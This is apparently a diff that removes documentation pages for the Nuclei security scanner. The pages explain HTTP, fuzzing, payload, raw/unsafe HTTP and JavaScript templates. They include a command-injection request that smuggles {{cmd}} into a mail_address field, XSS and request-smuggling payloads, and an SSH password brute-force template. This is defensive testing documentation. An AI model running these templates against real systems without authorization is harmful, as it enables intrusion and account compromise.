||||
@tls-sni: interactsh-url
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
@ -1,175 +0,0 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
<Note>
|
||||
**Requests**
|
||||
|
||||
Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.
|
||||
|
||||
HTTP Requests start with a `request` block which specifies the start of the requests for the template.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
http:
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Method**
|
||||
|
||||
Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc. depending on the needs.
|
||||
</Note>
|
||||
|
||||
```yaml
|
||||
# Method is the method for the request
|
||||
method: GET
|
||||
```
|
||||
|
||||
<Note>
|
||||
**Redirects**
|
||||
|
||||
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
|
||||
</Note>
|
||||
|
||||
An example of the usage:
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login.php"
|
||||
redirects: true
|
||||
max-redirects: 3
|
||||
```
|
||||
|
||||
<Warning>Currently redirects are defined per template, not per request.</Warning>
|
||||
|
||||
<Note>
|
||||
**Path**
|
||||
|
||||
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.
|
||||
|
||||
Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
**{{BaseURL}}** - This will replace on runtime in the request by the input URL as specified in the target file.
|
||||
|
||||
**{{RootURL}}** - This will replace on runtime in the request by the root URL as specified in the target file.
|
||||
|
||||
**{{Hostname}}** - Hostname variable is replaced by the hostname including port of the target on runtime.
|
||||
|
||||
**{{Host}}** - This will replace on runtime in the request by the input host as specified in the target file.
|
||||
|
||||
**{{Port}}** - This will replace on runtime in the request by the input port as specified in the target file.
|
||||
|
||||
**{{Path}}** - This will replace on runtime in the request by the input path as specified in the target file.
|
||||
|
||||
**{{File}}** - This will replace on runtime in the request by the input filename as specified in the target file.
|
||||
|
||||
**{{Scheme}}** - This will replace on runtime in the request by protocol scheme as specified in the target file.
|
||||
|
||||
</Note>
|
||||
|
||||
An example is provided below - https://example.com:443/foo/bar.php
|
||||
|
||||
| Variable | Value |
|
||||
|--------------|-------------------------------------|
|
||||
| \{\{BaseURL\}\} | https://example.com:443/foo/bar.php |
|
||||
| \{\{RootURL\}\} | https://example.com:443 |
|
||||
| \{\{Hostname\}\} | example.com:443 |
|
||||
| \{\{Host\}\} | example.com |
|
||||
| \{\{Port\}\} | 443 |
|
||||
| \{\{Path\}\} | /foo |
|
||||
| \{\{File\}\} | bar.php |
|
||||
| \{\{Scheme\}\} | https |
|
||||
|
||||
|
||||
Some sample dynamic variable replacement examples:
|
||||
|
||||
```yaml
|
||||
path: "{{BaseURL}}/.git/config"
|
||||
# This path will be replaced on execution with BaseURL
|
||||
# If BaseURL is set to https://abc.com then the
|
||||
# path will get replaced to the following: https://abc.com/.git/config
|
||||
```
|
||||
|
||||
Multiple paths can also be specified in one request which will be requested for the target.
|
||||
|
||||
### Headers
|
||||
|
||||
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
|
||||
|
||||
```yaml
|
||||
# headers contain the headers for the request
|
||||
headers:
|
||||
# Custom user-agent header
|
||||
User-Agent: Some-Random-User-Agent
|
||||
# Custom request origin
|
||||
Origin: https://google.com
|
||||
```
|
||||
|
||||
### Body
|
||||
|
||||
Body specifies a body to be sent along with the request. For instance:
|
||||
|
||||
```yaml
|
||||
# Body is a string sent along with the request
|
||||
body: "{\"some random JSON\"}"
|
||||
|
||||
# Body is a string sent along with the request
|
||||
body: "admin=test"
|
||||
```
|
||||
|
||||
### Session
|
||||
|
||||
To maintain cookie based browser like session between multiple requests, you can simply use `cookie-reuse: true` in your template, Useful in cases where you want to maintain session between series of request to complete the exploit chain and to perform authenticated scans.
|
||||
|
||||
```yaml
|
||||
# cookie-reuse accepts boolean input and false as default
|
||||
cookie-reuse: true
|
||||
```
|
||||
|
||||
### Request Condition
|
||||
|
||||
Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.
|
||||
|
||||
The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.
|
||||
|
||||
For example, the attribute `status_code` will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with `_n`, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3:
|
||||
- `status_code`: will refer to the response code of request number 3
|
||||
- `status_code_1` and `status_code_2` will refer to the response codes of the sequential responses number one and two
|
||||
|
||||
For example with `status_code_1`, `status_code_3`, and`body_2`:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
|
||||
```
|
||||
<Note>Request conditions might require more memory as all attributes of previous responses are kept in memory</Note>
|
||||
|
||||
### **Example HTTP Template**
|
||||
|
||||
The final template file for the `.git/config` file mentioned above is as follows:
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
|
||||
info:
|
||||
name: Git Config File
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/config"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "[core]"
|
||||
```
|
||||
|
||||
|
||||
|
||||
@ -1,196 +0,0 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
### HTTP Fuzzing
|
||||
|
||||
Nuclei supports fuzzing of HTTP requests based on rules defined in the `fuzzing` section of the HTTP request. This allows creating templates for generic Web Application vulnerabilities like SQLi, SSRF, CMDi, etc without any information of the target like a classic web fuzzer.
|
||||
|
||||
#### Part
|
||||
|
||||
Part specifies what part of the request should be fuzzed based on the specified rules. Available options for this parameter are -
|
||||
|
||||
1. **query** (`default`) - fuzz query parameters for URL
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query # fuzz parameters in URL query
|
||||
```
|
||||
|
||||
Support will be added for `path`,`header`,`body`,`cookie`, etc parts soon.
|
||||
|
||||
#### Type
|
||||
|
||||
Type specifies the type of replacement to perform for the fuzzing rule value. Available options for this parameter are -
|
||||
|
||||
1. **replace** (`default`) - replace the value with payload
|
||||
2. **prefix** - prefix the value with payload
|
||||
3. **postfix** - postfix the value with payload
|
||||
4. **infix** - infix the value with payload (place in between)
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix # Fuzz query and postfix payload to params
|
||||
```
|
||||
|
||||
#### Mode
|
||||
|
||||
Mode specifies the mode in which to perform the replacements. Available modes are -
|
||||
|
||||
1. **multiple** (`default`) - replace all values at once
|
||||
2. **single** - replace one value at a time
|
||||
|
||||
```yaml
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple # Fuzz query postfixing payloads to all parameters at once
|
||||
```
|
||||
|
||||
> **Note**: default values are set/used when other options are not defined.
|
||||
|
||||
#### Filters
|
||||
|
||||
Multiple filters are supported to restrict the scope of fuzzing to only interesting parameter keys and values. Nuclei HTTP Fuzzing engine converts request parts into Keys and Values which then can be filtered by their related options.
|
||||
|
||||
The following filter fields are supported -
|
||||
|
||||
1. **keys** - list of parameter names to fuzz (exact match)
|
||||
2. **keys-regex** - list of parameter regex to fuzz
|
||||
3. **values** - list of value regex to fuzz
|
||||
|
||||
These filters can be used in combination to run highly targeted fuzzing based on the parameter input. A few examples of such filtering are provided below.
|
||||
|
||||
```yaml
|
||||
# fuzzing command injection based on parameter name value
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "daemon"
|
||||
- "upload"
|
||||
- "dir"
|
||||
- "execute"
|
||||
- "download"
|
||||
- "log"
|
||||
- "ip"
|
||||
- "cli"
|
||||
- "cmd"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing openredirects based on parameter name regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# fuzzing ssrf based on parameter value regex
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
values:
|
||||
- "https?://.*"
|
||||
```
|
||||
|
||||
#### Fuzz
|
||||
|
||||
Fuzz specifies the values to replace with a `type` for a parameter. It supports payloads, DSL functions, etc and allows users to fully utilize the existing nuclei feature-set for fuzzing purposes.
|
||||
|
||||
```yaml
|
||||
# fuzz section for xss fuzzing with stop-at-first-match
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using interactsh-url placeholder for oob testing
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
```
|
||||
|
||||
```yaml
|
||||
# using template-level variables for SSTI testing
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
...
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
```
|
||||
|
||||
#### Example **Fuzzing** template
|
||||
|
||||
An example sample template for fuzzing XSS vulnerabilities is provided below.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/http/http-fuzzing)
|
||||
@ -1,87 +0,0 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
<Note>
|
||||
|
||||
Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It's possible to define placeholders with simple keywords (or using brackets `{{helper_function(variable)}}` in case mutator functions are needed), and perform **batteringram**, **pitchfork** and **clusterbomb** attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.
|
||||
|
||||
Payloads are defined using variable name and can be referenced in the request in between `§ §` or `{{ }}` marker.
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using payloads with local wordlist:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using local wordlist.
|
||||
|
||||
payloads:
|
||||
paths: params.txt
|
||||
header: local.txt
|
||||
```
|
||||
|
||||
An example of the using payloads with in template wordlist support:
|
||||
|
||||
```yaml
|
||||
# HTTP Intruder fuzzing using in template wordlist.
|
||||
|
||||
payloads:
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
```
|
||||
|
||||
**Note:** be careful while selecting attack type, as unexpected input will break the template.
|
||||
|
||||
For example, if you used `clusterbomb` or `pitchfork` as attack type and defined only one variable in the payload section, template will fail to compile, as `clusterbomb` or `pitchfork` expect more than one variable to use in the template.
|
||||
|
||||
### Attack mode
|
||||
|
||||
Nuclei engine supports multiple attack types, including `batteringram` as default type which generally used to fuzz single parameter, `clusterbomb` and `pitchfork` for fuzzing multiple parameters which works same as classical burp intruder.
|
||||
|
||||
| **Type** | batteringram | pitchfork | clusterbomb |
|
||||
|-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
<Note>
|
||||
**batteringram**
|
||||
|
||||
The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**pitchfork**
|
||||
The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**clusterbomb**
|
||||
The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.
|
||||
|
||||
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
|
||||
|
||||
This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.
|
||||
|
||||
More details [here](https://www.sjoerdlangkemper.nl/2017/08/02/burp-intruder-attack-types/).
|
||||
|
||||
</Note>
|
||||
|
||||
An example of the using `clusterbomb` attack to fuzz.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /?file={{path}} HTTP/1.1
|
||||
User-Agent: {{header}}
|
||||
Host: {{Hostname}}
|
||||
|
||||
payloads:
|
||||
path: helpers/wordlists/prams.txt
|
||||
header: helpers/wordlists/header.txt
|
||||
attack: clusterbomb # Defining HTTP fuzz attack type
|
||||
```
|
||||
@ -1,37 +0,0 @@
|
||||
---
|
||||
title: "RAW HTTP"
|
||||
---
|
||||
|
||||
Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /path2/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
a=test&b=pd
|
||||
```
|
||||
Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
|
||||
|
||||
RAW request format also supports [various helper functions](/template-guide/helper-functions/) letting us do run time manipulation with input. An example of the using a helper function in the header.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /manager/html HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
|
||||
```
|
||||
|
||||
To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
@ -1,38 +0,0 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
Nuclei supports [rawhttp](https://github.com/projectdiscovery/rawhttp) for complete request control and customization allowing **any kind of malformed requests** for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.
|
||||
|
||||
**rawhttp** library is disabled by default and can be enabled by including `unsafe: true` in the request block.
|
||||
|
||||
Here is an example of HTTP request smuggling detection template using `rawhttp`.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 150
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
User-Agent: a"/><script>alert(1)</script>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 5
|
||||
|
||||
x=1
|
||||
- |+
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
unsafe: true # Enables rawhttp client
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "<script>alert(1)</script>")'
|
||||
```
|
||||
@ -1,11 +0,0 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
|
||||
|
||||
The templates are written in `YAML` which specifies a simple human-readable format to quickly define the execution process.
|
||||
|
||||
<Card title="Get Started" icon="book-open">
|
||||
Guide to write your own nuclei template
|
||||
</Card>
|
||||
@ -1,218 +0,0 @@
|
||||
---
|
||||
title: "Javascript"
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
Nuclei and its community thrives on its ability to write exploits/checks in fast and simple way in YAML format and we aim to make **nuclei templates** as standard for writing security checks and that comes with understanding its limitations and addressing them as well as expanding its capabilities. It is already possible to write most complex HTTP, DNS, SSL protocol exploits / checks with increasing support and a powerful and easy to use DSL in nuclei engine but we understand this may not be enough for addressing / writing vulnerabilities across all protocols as well as other non-remote domains of security like local privilege escalation checks, kernel etc.
|
||||
|
||||
To address this and expand to other domains of security, Nuclei v3 ships with a embedded runtime for javascript that is tailored for **Nuclei** with the help of **[Goja](https://github.com/dop251/goja)**.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- **Provider/Driver specific exploit**
|
||||
|
||||
Some vulnerabilities are specific to software/driver, example a redis buffer overflow exploit or a exploit of specific VPN software or anything that's not a IETF standard protocol. since they are not standard protocols and it doesn't make much sense to add them as a protocol in nuclei.
|
||||
Such exploits cannot be written using 'network' protocol or Very complex to write, such exploits can be written by exposing required library in nuclei (if not already present) and writing actual exploit in javascript protocol minus the boilerplate and scaling issues and other goodies of nuclei
|
||||
|
||||
- **Non Network Checks**
|
||||
|
||||
Security is not limited to network and nuclei also doesn't intend to limit itself to network only. There are lot of security checks that are not network related like
|
||||
|
||||
1. local privilege escalation checks
|
||||
2. kernel exploits
|
||||
3. account misconfigurations
|
||||
4. system misconfigurations etc
|
||||
|
||||
- **Complex network protocol exploits**
|
||||
|
||||
Some network exploits are very complex to write due to nature of protocol or exploit itself example [CVE-2020-0796](https://nvd.nist.gov/vuln/detail/cve-2020-0796) where you have to manually construct a packet. such exploits are usually written in python but now can be written in javascript protocol itself
|
||||
|
||||
- **Multi Step Exploits**
|
||||
|
||||
Ldap / kerberos exploits usually involves multi step process of authentication and then exploitation etc and not easy to write in YAML based DSL
|
||||
|
||||
- **Scalable and maintainable exploits**
|
||||
|
||||
One off exploits written in code are not scalable and maintainable due to nature of language , boilerplate code and lot of other factors. The goal here is to only write **bare minimum** code required to run exploit and let nuclei engine handle the rest
|
||||
|
||||
- **Leveraging turing complete language**
|
||||
|
||||
While YAML based DSL is powerful and easy to use it is not turing complete and has its own limitations. Javascript is turing complete thus users who are already familiar with javascript can write network and other exploits without learning new DSL or hacking around existing DSL.
|
||||
|
||||
## Goja
|
||||
|
||||
Goja is ECMAScript/Javascript engine/runtime written in pure go and has full support for ECMAScript 5.1. It is fast, can be used in goroutines and has very small memory footprint which makes it good fit for embedding in nuclei and provides additional layer of security and flexibility due to nature of javascript language and its implementation.
|
||||
|
||||
This does not break any nuclei design principle nor does it change how nuclei works and is dependency free. It complements nuclei engine by adding existing turing complete language (i.e javascript) instead of re-inventing the wheel by creating new DSL (domain specific language)
|
||||
|
||||
## Requirements
|
||||
|
||||
- A bare minimum knowledge of javascript (loops, functions , arrays is enough) is required to write javascript protocol template
|
||||
- Nuclei v3.0.0 or above
|
||||
|
||||
|
||||
## API Reference
|
||||
|
||||
API reference of all exposed modules and functions can be found [here](https://projectdiscovery.github.io/js-proto-docs/).
|
||||
|
||||
## Javascript Protocol
|
||||
|
||||
Javascript protocol is new protocol added in nuclei v3 to allow writing exploits / checks in javascript language but internally are executed in go. And this javscript is tailored towards nuclei ecosystem this means
|
||||
|
||||
- It is not intended to fit / imported with any existing javascript libraries or frameworks outside of nuclei ecosystem.
|
||||
- Nuclei Engine provides a set of functions, libraries that are tailor made for writing exploits / checks and only adds required/necessary functionality to compliment existing YAML based DSL.
|
||||
- It is not intended to be used as general purpose javascript runtime and does not replace matchers or extractors or any existing functionality of nuclei.
|
||||
- Javascript Protocol is intended to bridge gap between network protocol to add any new xyz protocol while adding lot of other functionalities.
|
||||
- Nuclei v3.0.0 ships with **15+ libraries (ssh,ftp,rdp,kerberos,redis)** tailored for writing exploits/checks in javascript and will be continiously expanded in future.
|
||||
|
||||
Here is a simple example of javascript protocol template
|
||||
|
||||
```yaml
|
||||
id: ssh-server-fingerprint
|
||||
|
||||
info:
|
||||
name: Fingerprint SSH Server Software
|
||||
author: Ice3man543,tarunKoyalwar
|
||||
severity: info
|
||||
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
var response = c.ConnectSSHInfoMode(Host, Port);
|
||||
to_json(response);
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: "22"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
json:
|
||||
- '.ServerID.Raw'
|
||||
```
|
||||
|
||||
In above nuclei template we are fingerprinting SSH Server Software by connecting in Non-Auth mode and extracting server banner. Lets break down the template.
|
||||
|
||||
### Code
|
||||
|
||||
Code contains actual javascript code that is executed by nuclei engine at runtime In above template we are
|
||||
|
||||
- importing `nuclei/ssh` module/library
|
||||
- creating a new instance of `SSHClient` object
|
||||
- connecting to SSH server in `Info` mode
|
||||
- converting response to json
|
||||
|
||||
### Args
|
||||
|
||||
Args can be simply understood as variables in javascript that are passed at runtime and support DSL usage
|
||||
|
||||
|
||||
### **Output**
|
||||
|
||||
Value of Last expression is returned as output of javascript protocol template and can be used in matchers / extractors. If server returns an error instead then `error` variable is exposed in matcher/extractor with error message.
|
||||
|
||||
### Example
|
||||
|
||||
**SSH Password Bruteforce Template**
|
||||
|
||||
```yaml
|
||||
id: ssh-brute
|
||||
|
||||
info:
|
||||
name: SSH Credential Stuffing
|
||||
author: tarunKoyalwar
|
||||
severity: critical
|
||||
|
||||
|
||||
javascript:
|
||||
- pre-condition: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
var response = c.ConnectSSHInfoMode(Host, Port);
|
||||
// only bruteforce if ssh server allows password based authentication
|
||||
response["UserAuth"].includes("password")
|
||||
|
||||
code: |
|
||||
var m = require("nuclei/ssh");
|
||||
var c = m.SSHClient();
|
||||
c.Connect(Host,Port,Username,Password);
|
||||
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: "22"
|
||||
Username: "{{usernames}}"
|
||||
Password: "{{passwords}}"
|
||||
|
||||
threads: 10
|
||||
attack: clusterbomb
|
||||
payloads:
|
||||
usernames: helpers/wordlists/wp-users.txt
|
||||
passwords: helpers/wordlists/wp-passwords.txt
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "response == true"
|
||||
- "success == true"
|
||||
condition: and
|
||||
```
|
||||
|
||||
In above nuclei template we are bruteforcing ssh server with list of usernames and passwords. We can tell that this might not have been possible to achieve with network template Let's break down the template.
|
||||
|
||||
### Pre-Condition
|
||||
|
||||
`pre-condition` is a optional javascript code that is executed before running "code" and acts as pre-condition to exploit. In above template before attempting to bruteforce we are checking if
|
||||
- address is actually a ssh server
|
||||
- ssh server is configured to allow password based authentication
|
||||
|
||||
**Furthur explaination**
|
||||
|
||||
- If pre-condition returns `true` only then code is executed otherwise it is skipped
|
||||
- In code section we import `nuclei/ssh` module and create a new instance of `SSHClient` object
|
||||
- and then we attempt to connect to ssh server with username and password
|
||||
- this template uses [payloads](https://docs.nuclei.sh/template-guide/http/http-payloads) to launch a clusterbomb attack with 10 threads and exits on first match
|
||||
|
||||
Looking at this template now we can tell that javascript template is very powerful to write multi step and protocol/vendor specific exploits which is primary goal of javascript protocol.
|
||||
|
||||
|
||||
### Init
|
||||
|
||||
`init` is a optional javascript code that can be used to initialize template and it is executed just after compiling template and before running it on any target. Although rarely needed, it can be used to load and preprocess data before running template on any target.
|
||||
For example in below code block we are loading all ssh private keys from `nuclei-templates/helpers` directory and storing them as a variable in payloads with name `keys`, if we were loading private keys from 'pre-condition' code block then it would have been loaded for every target which is not ideal.
|
||||
|
||||
```
|
||||
variables:
|
||||
keysDir: "helpers/" # load all private keys from this directory
|
||||
|
||||
javascript:
|
||||
# init field can be used to make any preperations before the actual exploit
|
||||
# here we are reading all private keys from helpers folder and storing them in a list
|
||||
- init: |
|
||||
let m = require('nuclei/fs');
|
||||
let privatekeys = m.ReadFilesFromDir(keysDir)
|
||||
updatePayload('keys',privatekeys)
|
||||
|
||||
payloads:
|
||||
# 'keys' will be updated by actual private keys after init is executed
|
||||
keys:
|
||||
- key1
|
||||
- key2
|
||||
```
|
||||
|
||||
Two special functions that are available in init block are
|
||||
|
||||
|
||||
| Function | Description |
|
||||
| -------------------------- | ---------------------------------------- |
|
||||
| `updatePayload(key,value)` | updates payload with given key and value |
|
||||
| `set(key,value)` | sets a variable with given key and value |
|
||||
|
||||
A collection of javascript protocol templates can be found [here](https://github.com/projectdiscovery/nuclei-templates/pull/8206).
|
||||
|
||||
## Contributing
|
||||
|
||||
If you want to add a new module or function to nuclei javascript runtime please open a PR with your changes, refer [Contributing](https://github.com/projectdiscovery/nuclei/blob/7085b47c19dbe3a70b3d4eb23177995bda5c285a/pkg/js/CONTRIBUTE.md) for more details.
|
||||
@ -1,171 +0,0 @@
|
||||
---
|
||||
title: "Multi"
|
||||
---
|
||||
|
||||
Nuclei provides support for a variety of protocols including HTTP, DNS, Network, SSL, and Code. This allows users to write Nuclei templates for vulnerabilities across these protocols. However, there may be instances where a vulnerability requires the synchronous execution of multiple protocols for testing or exploitation. A prime example of this is **subdomain takeovers**, which necessitates a check for the CNAME record of a subdomain, followed by a verification of string in HTTP response. While this was partially achievable with workflows in Nuclei, the introduction of **Nuclei v3.0** has made it possible to conveniently write a **template** that can execute multiple protocols synchronously. This allows for checks to be performed on the results of each protocol, along with other enhancements.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-http-template
|
||||
|
||||
info:
|
||||
name: dns + http takeover template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # dns request
|
||||
type: cname
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(http_body,'Domain not found') # check for string from http response
|
||||
- contains(dns_cname, 'github.io') # check for cname from dns response
|
||||
condition: and
|
||||
```
|
||||
